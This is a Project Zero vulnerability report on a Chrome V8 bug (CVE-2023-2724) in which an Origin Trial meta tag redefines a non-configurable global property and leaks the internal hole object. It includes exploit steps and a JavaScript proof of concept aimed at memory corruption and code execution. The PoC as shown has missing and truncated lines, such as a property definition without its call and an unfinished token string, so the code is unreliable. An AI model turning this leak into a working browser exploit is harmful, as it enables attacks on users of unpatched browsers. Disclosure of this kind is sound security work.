Chrome: Internal JavaScript object access via Origin Trials  
1. `JSObject::DefineAccessor` doesn't ensure that the receiver object is in a valid state before creating an accessor property. This allows callers to extend non-extensible objects and reconfigure non-configurable properties.  
2. The function is reachable from `IDLMemberInstaller::InstallAttributes`:  
IDLMemberInstaller::InstallAttributes ->  
InstallAttribute ->  
Object::SetAccessorProperty ->  
3. When an origin trial is activated through a `meta` tag, `InstallAttributes` might be called on a JS object that has already been modified by the user code.  
4. Some origin trials install attributes directly on the global object.  
To exploit the issue:  
1. Add a non-configurable property to the global object.  
2. Compile a JS function that accesses the property. The compilation dependency in [1] will be skipped.  
3. Enable an origin trial that redefines the property as configurable.  
4. Delete the property.  
After that, the compiled function will reference an invalid property cell and leak the internal hole object. This is a known vulnerable condition that can be abused to execute arbitrary code.  
Google Chrome 112.0.5615.49 (Official Build) (arm64)  
Chromium 114.0.5713.0 (Developer Build) (64-bit)   
var container = [{}];  
function trigger() { container[0] = documentPictureInPicture; }  
{ configurable: false, writable: true, value: {} });  
documentPictureInPicture = {}; // Now `documentPictureInPicture` is a non-configurable mutable slot.  
for (let i = 0; i < 50000; i++) trigger();  
// The \"Document Picture-in-Picture\" origin trial force-sets the `documentPictureInPicture` property  
// on the global object.  
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content =  
'AstD02iOsmKKlxPbuURr1i4CKzX6AhBpjqxCMNIinwFqsdNThmojsMI8B7m8GGlR/DNu9i6t4eqEfHvhuvSxHgQAAABe' +  
'eyJvcmlnaW4iOiJodHRwOi8vbG9jYWxob3N0OjgwMDAiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJl' +  
delete documentPictureInPicture;  
container[0].prop; // Trying to access a property of the hole object should cause to a crash.  
Sergei Glazunov of Google Project Zero  
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-07-13.  
Related CVE Numbers: CVE-2023-2724.  
Found by: